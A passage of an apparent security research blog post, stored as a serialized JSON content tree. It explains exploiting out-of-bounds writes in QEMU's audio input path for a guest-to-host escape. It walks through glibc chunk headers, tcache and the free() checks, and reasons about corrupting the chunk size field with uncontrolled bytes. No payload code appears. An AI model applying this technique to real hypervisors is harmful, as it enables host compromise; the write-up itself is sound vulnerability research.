",{"type":23,"tag":209,"props":126264,"children":126266},{"className":126265},[],[126267],{"type":28,"value":125545},{"type":28,"value":126250},{"type":23,"tag":209,"props":126270,"children":126272},{"className":126271},[],[126273],{"type":28,"value":125643},{"type":28,"value":126275},", leading to at most 8-byte OOB write",{"type":23,"tag":135,"props":126277,"children":126278},{},[126279,126281,126286,126288,126293,126295,126300],{"type":28,"value":126280},"a missing bound in the ",{"type":23,"tag":209,"props":126282,"children":126284},{"className":126283},[],[126285],{"type":28,"value":124313},{"type":28,"value":126287}," passed to ",{"type":23,"tag":209,"props":126289,"children":126291},{"className":126290},[],[126292],{"type":28,"value":125663},{"type":28,"value":126294},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":209,"props":126296,"children":126298},{"className":126297},[],[126299],{"type":28,"value":125686},{"type":28,"value":82342},{"type":23,"tag":24,"props":126302,"children":126303},{},[126304,126306,126311,126313,126318,126320,126326],{"type":28,"value":126305},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":209,"props":126307,"children":126309},{"className":126308},[],[126310],{"type":28,"value":125686},{"type":28,"value":126312},", but in our setup with the ALSA backend, ",{"type":23,"tag":209,"props":126314,"children":126316},{"className":126315},[],[126317],{"type":28,"value":125686},{"type":28,"value":126319}," was consistently around ",{"type":23,"tag":209,"props":126321,"children":126323},{"className":126322},[],[126324],{"type":28,"value":126325},"4096",{"type":28,"value":124},{"type":23,"tag":24,"props":126328,"children":126329},{},[126330,126332,126339,126340,126347],{"type":28,"value":126331},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":36,"props":126333,"children":126336},{"href":126334,"rel":126335},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[40],[126337],{"type":28,"value":126338},"commit 1",{"type":28,"value":424},{"type":23,"tag":36,"props":126341,"children":126344},{"href":126342,"rel":126343},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[40],[126345],{"type":28,"value":126346},"commit 2",{"type":28,"value":126348},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":47,"props":126350,"children":126351},{"id":100161},[126352],{"type":28,"value":100164},{"type":23,"tag":24,"props":126354,"children":126355},{},[126356],{"type":28,"value":126357},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":126359,"children":126360},{},[126361],{"type":28,"value":126362},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":9693,"props":126364,"children":126366},{"id":126365},"achieving-a-better-primitive",[126367],{"type":28,"value":126368},"Achieving a Better Primitive",{"type":23,"tag":24,"props":126370,"children":126371},{},[126372],{"type":28,"value":126373},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":126375,"children":126376},{},[126377],{"type":28,"value":126378},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":126380,"children":126381},{},[126382],{"type":28,"value":126383},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":18945,"props":126385,"children":126387},{"id":126386},"glibc-allocator",[126388],{"type":28,"value":126389},"Glibc Allocator",{"type":23,"tag":24,"props":126391,"children":126392},{},[126393,126395,126402],{"type":28,"value":126394},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":36,"props":126396,"children":126399},{"href":126397,"rel":126398},"https://github.com/shellphish/how2heap",[40],[126400],{"type":28,"value":126401},"how2heap",{"type":28,"value":124},{"type":23,"tag":37404,"props":126404,"children":126406},{"id":126405},"chunk-layout-and-bins",[126407],{"type":28,"value":126408},"Chunk Layout and Bins",{"type":23,"tag":24,"props":126410,"children":126411},{},[126412],{"type":28,"value":126413},"A chunk looks like this:",{"type":23,"tag":202,"props":126415,"children":126417},{"code":126416}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[126418],{"type":23,"tag":209,"props":126419,"children":126420},{"__ignoreMap":7},[126421],{"type":28,"value":126416},{"type":23,"tag":24,"props":126423,"children":126424},{},[126425,126427,126433,126435,126441,126442,126447,126448,126454,126456,126461,126463,126468,126470,126476,126477,126483,126485,126491],{"type":28,"value":126426},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":209,"props":126428,"children":126430},{"className":126429},[],[126431],{"type":28,"value":126432},"prev_size",{"type":28,"value":126434}," field at offset ",{"type":23,"tag":209,"props":126436,"children":126438},{"className":126437},[],[126439],{"type":28,"value":126440},"0x0",{"type":28,"value":37608},{"type":23,"tag":209,"props":126443,"children":126445},{"className":126444},[],[126446],{"type":28,"value":124313},{"type":28,"value":126434},{"type":23,"tag":209,"props":126449,"children":126451},{"className":126450},[],[126452],{"type":28,"value":126453},"0x8",{"type":28,"value":126455},". As the name suggests, ",{"type":23,"tag":209,"props":126457,"children":126459},{"className":126458},[],[126460],{"type":28,"value":126432},{"type":28,"value":126462}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":209,"props":126464,"children":126466},{"className":126465},[],[126467],{"type":28,"value":124313},{"type":28,"value":126469}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":209,"props":126471,"children":126473},{"className":126472},[],[126474],{"type":28,"value":126475},"PREV_INUSE",{"type":28,"value":1466},{"type":23,"tag":209,"props":126478,"children":126480},{"className":126479},[],[126481],{"type":28,"value":126482},"IS_MMAPPED",{"type":28,"value":126484}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":209,"props":126486,"children":126488},{"className":126487},[],[126489],{"type":28,"value":126490},"0x10",{"type":28,"value":124},{"type":23,"tag":24,"props":126493,"children":126494},{},[126495],{"type":28,"value":126496},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":37404,"props":126498,"children":126500},{"id":126499},"free-path",[126501],{"type":28,"value":126502},"free() path",{"type":23,"tag":24,"props":126504,"children":126505},{},[126506,126508,126514],{"type":28,"value":126507},"Let’s first look at the ",{"type":23,"tag":209,"props":126509,"children":126511},{"className":126510},[],[126512],{"type":28,"value":126513},"free()",{"type":28,"value":126515}," path in glibc 2.40:",{"type":23,"tag":202,"props":126517,"children":126519},{"code":126518,"language":3244,"meta":7,"className":16566,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[126520],{"type":23,"tag":209,"props":126521,"children":126522},{"__ignoreMap":7},[126523,126551,126558,126566,126574,126581,126603,126624,126631,126644,126651,126659,126666,126679,126686,126707,126728,126735],{"type":23,"tag":213,"props":126524,"children":126525},{"class":215,"line":216},[126526,126531,126535,126539,126543,126547],{"type":23,"tag":213,"props":126527,"children":126528},{"style":257},[126529],{"type":28,"value":126530},"__libc_free",{"type":23,"tag":213,"props":126532,"children":126533},{"style":220},[126534],{"type":28,"value":400},{"type":23,"tag":213,"props":126536,"children":126537},{"style":230},[126538],{"type":28,"value":51680},{"type":23,"tag":213,"props":126540,"children":126541},{"style":274},[126542],{"type":28,"value":282},{"type":23,"tag":213,"props":126544,"children":126545},{"style":268},[126546],{"type":28,"value":40720},{"type":23,"tag":213,"props":126548,"children":126549},{"style":220},[126550],{"type":28,"value":2183},{"type":23,"tag":213,"props":126552,"children":126553},{"class":215,"line":226},[126554],{"type":23,"tag":213,"props":126555,"children":126556},{"style":220},[126557],{"type":28,"value":10964},{"type":23,"tag":213,"props":126559,"children":126560},{"class":215,"line":524},[126561],{"type":23,"tag":213,"props":126562,"children":126563},{"style":220},[126564],{"type":28,"value":126565}," mstate ar_ptr;\n",{"type":23,"tag":213,"props":126567,"children":126568},{"class":215,"line":533},[126569],{"type":23,"tag":213,"props":126570,"children":126571},{"style":220},[126572],{"type":28,"value":126573}," mchunkptr p;\n",{"type":23,"tag":213,"props":126575,"children":126576},{"class":215,"line":543},[126577],{"type":23,"tag":213,"props":126578,"children":126579},{"emptyLinePlaceholder":18},[126580],{"type":28,"value":530},{"type":23,"tag":213,"props":126582,"children":126583},{"class":215,"line":551},[126584,126589,126593,126598],{"type":23,"tag":213,"props":126585,"children":126586},{"style":220},[126587],{"type":28,"value":126588}," p ",{"type":23,"tag":213,"props":126590,"children":126591},{"style":274},[126592],{"type":28,"value":3190},{"type":23,"tag":213,"props":126594,"children":126595},{"style":257},[126596],{"type":28,"value":126597}," mem2chunk",{"type":23,"tag":213,"props":126599,"children":126600},{"style":220},[126601],{"type":28,"value":126602}," (mem);\n",{"type":23,"tag":213,"props":126604,"children":126605},{"class":215,"line":570},[126606,126610,126614,126619],{"type":23,"tag":213,"props":126607,"children":126608},{"style":1362},[126609],{"type":28,"value":31450},{"type":23,"tag":213,"props":126611,"children":126612},{"style":220},[126613],{"type":28,"value":400},{"type":23,"tag":213,"props":126615,"children":126616},{"style":257},[126617],{"type":28,"value":126618},"chunk_is_mmapped",{"type":23,"tag":213,"props":126620,"children":126621},{"style":220},[126622],{"type":28,"value":126623}," (p))\n",{"type":23,"tag":213,"props":126625,"children":126626},{"class":215,"line":655},[126627],{"type":23,"tag":213,"props":126628,"children":126629},{"style":220},[126630],{"type":28,"value":2725},{"type":23,"tag":213,"props":126632,"children":126633},{"class":215,"line":1176},[126634,126639],{"type":23,"tag":213,"props":126635,"children":126636},{"style":257},[126637],{"type":28,"value":126638}," munmap_chunk",{"type":23,"tag":213,"props":126640,"children":126641},{"style":220},[126642],{"type":28,"value":126643}," (p);\n",{"type":23,"tag":213,"props":126645,"children":126646},{"class":215,"line":1202},[126647],{"type":23,"tag":213,"props":126648,"children":126649},{"style":220},[126650],{"type":28,"value":2875},{"type":23,"tag":213,"props":126652,"children":126653},{"class":215,"line":1758},[126654],{"type":23,"tag":213,"props":126655,"children":126656},{"style":1362},[126657],{"type":28,"value":126658}," else\n",{"type":23,"tag":213,"props":126660,"children":126661},{"class":215,"line":1767},[126662],{"type":23,"tag":213,"props":126663,"children":126664},{"style":220},[126665],{"type":28,"value":2725},{"type":23,"tag":213,"props":126667,"children":126668},{"class":215,"line":1789},[126669,126674],{"type":23,"tag":213,"props":126670,"children":126671},{"style":257},[126672],{"type":28,"value":126673}," MAYBE_INIT_TCACHE",{"type":23,"tag":213,"props":126675,"children":126676},{"style":220},[126677],{"type":28,"value":126678}," ();\n",{"type":23,"tag":213,"props":126680,"children":126681},{"class":215,"line":1812},[126682],{"type":23,"tag":213,"props":126683,"children":126684},{"emptyLinePlaceholder":18},[126685],{"type":28,"value":530},{"type":23,"tag":213,"props":126687,"children":126688},{"class":215,"line":1838},[126689,126694,126698,126703],{"type":23,"tag":213,"props":126690,"children":126691},{"style":220},[126692],{"type":28,"value":126693}," ar_ptr ",{"type":23,"tag":213,"props":126695,"children":126696},{"style":274},[126697],{"type":28,"value":3190},{"type":23,"tag":213,"props":126699,"children":126700},{"style":257},[126701],{"type":28,"value":126702}," arena_for_chunk",{"type":23,"tag":213,"props":126704,"children":126705},{"style":220},[126706],{"type":28,"value":126643},{"type":23,"tag":213,"props":126708,"children":126709},{"class":215,"line":1851},[126710,126715,126720,126724],{"type":23,"tag":213,"props":126711,"children":126712},{"style":257},[126713],{"type":28,"value":126714}," _int_free",{"type":23,"tag":213,"props":126716,"children":126717},{"style":220},[126718],{"type":28,"value":126719}," (ar_ptr, p, ",{"type":23,"tag":213,"props":126721,"children":126722},{"style":514},[126723],{"type":28,"value":4116},{"type":23,"tag":213,"props":126725,"children":126726},{"style":220},[126727],{"type":28,"value":2867},{"type":23,"tag":213,"props":126729,"children":126730},{"class":215,"line":1864},[126731],{"type":23,"tag":213,"props":126732,"children":126733},{"style":220},[126734],{"type":28,"value":2875},{"type":23,"tag":213,"props":126736,"children":126737},{"class":215,"line":1890},[126738],{"type":23,"tag":213,"props":126739,"children":126740},{"style":220},[126741],{"type":28,"value":1208},{"type":23,"tag":24,"props":126743,"children":126744},{},[126745,126747,126752,126754,126759,126761,126767,126769,126775,126777,126782,126784,126789,126791,126796,126798,126803],{"type":28,"value":126746},"We can see that if the ",{"type":23,"tag":209,"props":126748,"children":126750},{"className":126749},[],[126751],{"type":28,"value":126482},{"type":28,"value":126753}," bit is set in the corrupted ",{"type":23,"tag":209,"props":126755,"children":126757},{"className":126756},[],[126758],{"type":28,"value":124313},{"type":28,"value":126760}," field, glibc will call ",{"type":23,"tag":209,"props":126762,"children":126764},{"className":126763},[],[126765],{"type":28,"value":126766},"munmap_chunk",{"type":28,"value":126768},", which internally checks that ",{"type":23,"tag":209,"props":126770,"children":126772},{"className":126771},[],[126773],{"type":28,"value":126774},"prev_size + size",{"type":28,"value":126776}," is page-aligned. To reach the ",{"type":23,"tag":209,"props":126778,"children":126780},{"className":126779},[],[126781],{"type":28,"value":124313},{"type":28,"value":126783}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":209,"props":126785,"children":126787},{"className":126786},[],[126788],{"type":28,"value":126432},{"type":28,"value":126790}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":209,"props":126792,"children":126794},{"className":126793},[],[126795],{"type":28,"value":126774},{"type":28,"value":126797}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":209,"props":126799,"children":126801},{"className":126800},[],[126802],{"type":28,"value":126482},{"type":28,"value":126804}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":126806,"children":126807},{},[126808,126810,126815,126817,126823],{"type":28,"value":126809},"Assuming ",{"type":23,"tag":209,"props":126811,"children":126813},{"className":126812},[],[126814],{"type":28,"value":126482},{"type":28,"value":126816}," is not set, execution continues into ",{"type":23,"tag":209,"props":126818,"children":126820},{"className":126819},[],[126821],{"type":28,"value":126822},"_int_free",{"type":28,"value":277},{"type":23,"tag":202,"props":126825,"children":126827},{"code":126826,"language":3244,"meta":7,"className":16566,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[126828],{"type":23,"tag":209,"props":126829,"children":126830},{"__ignoreMap":7},[126831,126843,126886,126893,126901,126908,126929,126936,126944,126952,126960,126968,127032,127067,127088,127096,127104,127152,127172,127179,127192,127199],{"type":23,"tag":213,"props":126832,"children":126833},{"class":215,"line":216},[126834,126838],{"type":23,"tag":213,"props":126835,"children":126836},{"style":230},[126837],{"type":28,"value":51097},{"type":23,"tag":213,"props":126839,"children":126840},{"style":230},[126841],{"type":28,"value":126842}," void\n",{"type":23,"tag":213,"props":126844,"children":126845},{"class":215,"line":226},[126846,126850,126855,126860,126865,126869,126873,126877,126882],{"type":23,"tag":213,"props":126847,"children":126848},{"style":257},[126849],{"type":28,"value":126822},{"type":23,"tag":213,"props":126851,"children":126852},{"style":220},[126853],{"type":28,"value":126854}," (mstate ",{"type":23,"tag":213,"props":126856,"children":126857},{"style":268},[126858],{"type":28,"value":126859},"av",{"type":23,"tag":213,"props":126861,"children":126862},{"style":220},[126863],{"type":28,"value":126864},", mchunkptr ",{"type":23,"tag":213,"props":126866,"children":126867},{"style":268},[126868],{"type":28,"value":24},{"type":23,"tag":213,"props":126870,"children":126871},{"style":220},[126872],{"type":28,"value":424},{"type":23,"tag":213,"props":126874,"children":126875},{"style":230},[126876],{"type":28,"value":19100},{"type":23,"tag":213,"props":126878,"children":126879},{"style":268},[126880],{"type":28,"value":126881}," have_lock",{"type":23,"tag":213,"props":126883,"children":126884},{"style":220},[126885],{"type":28,"value":2183},{"type":23,"tag":213,"props":126887,"children":126888},{"class":215,"line":524},[126889],{"type":23,"tag":213,"props":126890,"children":126891},{"style":220},[126892],{"type":28,"value":10964},{"type":23,"tag":213,"props":126894,"children":126895},{"class":215,"line":533},[126896],{"type":23,"tag":213,"props":126897,"children":126898},{"style":220},[126899],{"type":28,"value":126900}," INTERNAL_SIZE_T size;\n",{"type":23,"tag":213,"props":126902,"children":126903},{"class":215,"line":543},[126904],{"type":23,"tag":213,"props":126905,"children":126906},{"emptyLinePlaceholder":18},[126907],{"type":28,"value":530},{"type":23,"tag":213,"props":126909,"children":126910},{"class":215,"line":551},[126911,126916,126920,126925],{"type":23,"tag":213,"props":126912,"children":126913},{"style":220},[126914],{"type":28,"value":126915}," size ",{"type":23,"tag":213,"props":126917,"children":126918},{"style":274},[126919],{"type":28,"value":3190},{"type":23,"tag":213,"props":126921,"children":126922},{"style":257},[126923],{"type":28,"value":126924}," chunksize",{"type":23,"tag":213,"props":126926,"children":126927},{"style":220},[126928],{"type":28,"value":126643},{"type":23,"tag":213,"props":126930,"children":126931},{"class":215,"line":570},[126932],{"type":23,"tag":213,"props":126933,"children":126934},{"emptyLinePlaceholder":18},[126935],{"type":28,"value":530},{"type":23,"tag":213,"props":126937,"children":126938},{"class":215,"line":655},[126939],{"type":23,"tag":213,"props":126940,"children":126941},{"style":537},[126942],{"type":28,"value":126943}," /* Little security check which won't hurt performance: the\n",{"type":23,"tag":213,"props":126945,"children":126946},{"class":215,"line":1176},[126947],{"type":23,"tag":213,"props":126948,"children":126949},{"style":537},[126950],{"type":28,"value":126951}," allocator never wraps around at the end of the address space.\n",{"type":23,"tag":213,"props":126953,"children":126954},{"class":215,"line":1202},[126955],{"type":23,"tag":213,"props":126956,"children":126957},{"style":537},[126958],{"type":28,"value":126959}," Therefore we can exclude some size values which might appear\n",{"type":23,"tag":213,"props":126961,"children":126962},{"class":215,"line":1758},[126963],{"type":23,"tag":213,"props":126964,"children":126965},{"style":537},[126966],{"type":28,"value":126967}," here by accident or by \"design\" from some intruder. */\n",{"type":23,"tag":213,"props":126969,"children":126970},{"class":215,"line":1767},[126971,126975,126979,126984,126989,126994,126999,127003,127007,127011,127015,127019,127024,127028],{"type":23,"tag":213,"props":126972,"children":126973},{"style":1362},[126974],{"type":28,"value":31450},{"type":23,"tag":213,"props":126976,"children":126977},{"style":220},[126978],{"type":28,"value":400},{"type":23,"tag":213,"props":126980,"children":126981},{"style":257},[126982],{"type":28,"value":126983},"__builtin_expect",{"type":23,"tag":213,"props":126985,"children":126986},{"style":220},[126987],{"type":28,"value":126988}," ((",{"type":23,"tag":213,"props":126990,"children":126991},{"style":230},[126992],{"type":28,"value":126993},"uintptr_t",{"type":23,"tag":213,"props":126995,"children":126996},{"style":220},[126997],{"type":28,"value":126998},") p ",{"type":23,"tag":213,"props":127000,"children":127001},{"style":274},[127002],{"type":28,"value":10545},{"type":23,"tag":213,"props":127004,"children":127005},{"style":220},[127006],{"type":28,"value":400},{"type":23,"tag":213,"props":127008,"children":127009},{"style":230},[127010],{"type":28,"value":126993},{"type":23,"tag":213,"props":127012,"children":127013},{"style":220},[127014],{"type":28,"value":298},{"type":23,"tag":213,"props":127016,"children":127017},{"style":274},[127018],{"type":28,"value":4423},{"type":23,"tag":213,"props":127020,"children":127021},{"style":220},[127022],{"type":28,"value":127023},"size, ",{"type":23,"tag":213,"props":127025,"children":127026},{"style":514},[127027],{"type":28,"value":4116},{"type":23,"tag":213,"props":127029,"children":127030},{"style":220},[127031],{"type":28,"value":2183},{"type":23,"tag":213,"props":127033,"children":127034},{"class":215,"line":1789},[127035,127040,127045,127049,127054,127059,127063],{"type":23,"tag":213,"props":127036,"children":127037},{"style":274},[127038],{"type":28,"value":127039}," ||",{"type":23,"tag":213,"props":127041,"children":127042},{"style":257},[127043],{"type":28,"value":127044}," __builtin_expect",{"type":23,"tag":213,"props":127046,"children":127047},{"style":220},[127048],{"type":28,"value":400},{"type":23,"tag":213,"props":127050,"children":127051},{"style":257},[127052],{"type":28,"value":127053},"misaligned_chunk",{"type":23,"tag":213,"props":127055,"children":127056},{"style":220},[127057],{"type":28,"value":127058}," (p), ",{"type":23,"tag":213,"props":127060,"children":127061},{"style":514},[127062],{"type":28,"value":4116},{"type":23,"tag":213,"props":127064,"children":127065},{"style":220},[127066],{"type":28,"value":19766},{"type":23,"tag":213,"props":127068,"children":127069},{"class":215,"line":1812},[127070,127075,127079,127084],{"type":23,"tag":213,"props":127071,"children":127072},{"style":257},[127073],{"type":28,"value":127074}," malloc_printerr",{"type":23,"tag":213,"props":127076,"children":127077},{"style":220},[127078],{"type":28,"value":400},{"type":23,"tag":213,"props":127080,"children":127081},{"style":246},[127082],{"type":28,"value":127083},"\"free(): invalid pointer\"",{"type":23,"tag":213,"props":127085,"children":127086},{"style":220},[127087],{"type":28,"value":2867},{"type":23,"tag":213,"props":127089,"children":127090},{"class":215,"line":1838},[127091],{"type":23,"tag":213,"props":127092,"children":127093},{"style":537},[127094],{"type":28,"value":127095}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":213,"props":127097,"children":127098},{"class":215,"line":1851},[127099],{"type":23,"tag":213,"props":127100,"children":127101},{"style":537},[127102],{"type":28,"value":127103}," multiple of MALLOC_ALIGNMENT. */\n",{"type":23,"tag":213,"props":127105,"children":127106},{"class":215,"line":1864},[127107,127111,127115,127120,127125,127129,127134,127138,127142,127147],{"type":23,"tag":213,"props":127108,"children":127109},{"style":1362},[127110],{"type":28,"value":31450},{"type":23,"tag":213,"props":127112,"children":127113},{"style":220},[127114],{"type":28,"value":400},{"type":23,"tag":213,"props":127116,"children":127117},{"style":257},[127118],{"type":28,"value":127119},"__glibc_unlikely",{"type":23,"tag":213,"props":127121,"children":127122},{"style":220},[127123],{"type":28,"value":127124}," (size ",{"type":23,"tag":213,"props":127126,"children":127127},{"style":274},[127128],{"type":28,"value":434},{"type":23,"tag":213,"props":127130,"children":127131},{"style":220},[127132],{"type":28,"value":127133}," MINSIZE ",{"type":23,"tag":213,"props":127135,"children":127136},{"style":274},[127137],{"type":28,"value":22468},{"type":23,"tag":213,"props":127139,"children":127140},{"style":274},[127141],{"type":28,"value":2658},{"type":23,"tag":213,"props":127143,"children":127144},{"style":257},[127145],{"type":28,"value":127146},"aligned_OK",{"type":23,"tag":213,"props":127148,"children":127149},{"style":220},[127150],{"type":28,"value":127151}," (size)))\n",{"type":23,"tag":213,"props":127153,"children":127154},{"class":215,"line":1890},[127155,127159,127163,127168],{"type":23,"tag":213,"props":127156,"children":127157},{"style":257},[127158],{"type":28,"value":127074},{"type":23,"tag":213,"props":127160,"children":127161},{"style":220},[127162],{"type":28,"value":400},{"type":23,"tag":213,"props":127164,"children":127165},{"style":246},[127166],{"type":28,"value":127167},"\"free(): invalid size\"",{"type":23,"tag":213,"props":127169,"children":127170},{"style":220},[127171],{"type":28,"value":2867},{"type":23,"tag":213,"props":127173,"children":127174},{"class":215,"line":1899},[127175],{"type":23,"tag":213,"props":127176,"children":127177},{"emptyLinePlaceholder":18},[127178],{"type":28,"value":530},{"type":23,"tag":213,"props":127180,"children":127181},{"class":215,"line":1912},[127182,127187],{"type":23,"tag":213,"props":127183,"children":127184},{"style":257},[127185],{"type":28,"value":127186}," check_inuse_chunk",{"type":23,"tag":213,"props":127188,"children":127189},{"style":220},[127190],{"type":28,"value":127191},"(av, p);\n",{"type":23,"tag":213,"props":127193,"children":127194},{"class":215,"line":1921},[127195],{"type":23,"tag":213,"props":127196,"children":127197},{"emptyLinePlaceholder":18},[127198],{"type":28,"value":530},{"type":23,"tag":213,"props":127200,"children":127201},{"class":215,"line":3879},[127202],{"type":23,"tag":213,"props":127203,"children":127204},{"style":220},[127205],{"type":28,"value":127206}," [...]\n",{"type":23,"tag":24,"props":127208,"children":127209},{},[127210],{"type":28,"value":127211},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":127213,"children":127214},{},[127215,127217,127222,127224,127229,127231,127236,127238,127243],{"type":28,"value":127216},"The next check, however, ensures that the ",{"type":23,"tag":209,"props":127218,"children":127220},{"className":127219},[],[127221],{"type":28,"value":124313},{"type":28,"value":127223}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":209,"props":127225,"children":127227},{"className":127226},[],[127228],{"type":28,"value":124313},{"type":28,"value":127230}," must preserve alignment while also avoiding the ",{"type":23,"tag":209,"props":127232,"children":127234},{"className":127233},[],[127235],{"type":28,"value":126482},{"type":28,"value":127237}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":209,"props":127239,"children":127241},{"className":127240},[],[127242],{"type":28,"value":124313},{"type":28,"value":127244}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":127246,"children":127247},{},[127248],{"type":28,"value":127249},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":202,"props":127251,"children":127253},{"code":127252,"language":3244,"meta":7,"className":16566,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[127254],{"type":23,"tag":209,"props":127255,"children":127256},{"__ignoreMap":7},[127257,127265,127292,127299,127306,127313,127332,127339,127359,127366,127394,127418,127425,127438,127480,127487,127495,127502,127519],{"type":23,"tag":213,"props":127258,"children":127259},{"class":215,"line":216},[127260],{"type":23,"tag":213,"props":127261,"children":127262},{"style":230},[127263],{"type":28,"value":127264},"void\n",{"type":23,"tag":213,"props":127266,"children":127267},{"class":215,"line":226},[127268,127272,127276,127280,127284,127288],{"type":23,"tag":213,"props":127269,"children":127270},{"style":257},[127271],{"type":28,"value":126530},{"type":23,"tag":213,"props":127273,"children":127274},{"style":220},[127275],{"type":28,"value":400},{"type":23,"tag":213,"props":127277,"children":127278},{"style":230},[127279],{"type":28,"value":51680},{"type":23,"tag":213,"props":127281,"children":127282},{"style":274},[127283],{"type":28,"value":282},{"type":23,"tag":213,"props":127285,"children":127286},{"style":268},[127287],{"type":28,"value":40720},{"type":23,"tag":213,"props":127289,"children":127290},{"style":220},[127291],{"type":28,"value":2183},{"type":23,"tag":213,"props":127293,"children":127294},{"class":215,"line":524},[127295],{"type":23,"tag":213,"props":127296,"children":127297},{"style":220},[127298],{"type":28,"value":10964},{"type":23,"tag":213,"props":127300,"children":127301},{"class":215,"line":533},[127302],{"type":23,"tag":213,"props":127303,"children":127304},{"style":220},[127305],{"type":28,"value":126573},{"type":23,"tag":213,"props":127307,"children":127308},{"class":215,"line":543},[127309],{"type":23,"tag":213,"props":127310,"children":127311},{"emptyLinePlaceholder":18},[127312],{"type":28,"value":530},{"type":23,"tag":213,"props":127314,"children":127315},{"class":215,"line":551},[127316,127320,127324,127328],{"type":23,"tag":213,"props":127317,"children":127318},{"style":220},[127319],{"type":28,"value":126588},{"type":23,"tag":213,"props":127321,"children":127322},{"style":274},[127323],{"type":28,"value":3190},{"type":23,"tag":213,"props":127325,"children":127326},{"style":257},[127327],{"type":28,"value":126597},{"type":23,"tag":213,"props":127329,"children":127330},{"style":220},[127331],{"type":28,"value":126602},{"type":23,"tag":213,"props":127333,"children":127334},{"class":215,"line":570},[127335],{"type":23,"tag":213,"props":127336,"children":127337},{"emptyLinePlaceholder":18},[127338],{"type":28,"value":530},{"type":23,"tag":213,"props":127340,"children":127341},{"class":215,"line":655},[127342,127347,127351,127355],{"type":23,"tag":213,"props":127343,"children":127344},{"style":220},[127345],{"type":28,"value":127346}," INTERNAL_SIZE_T size 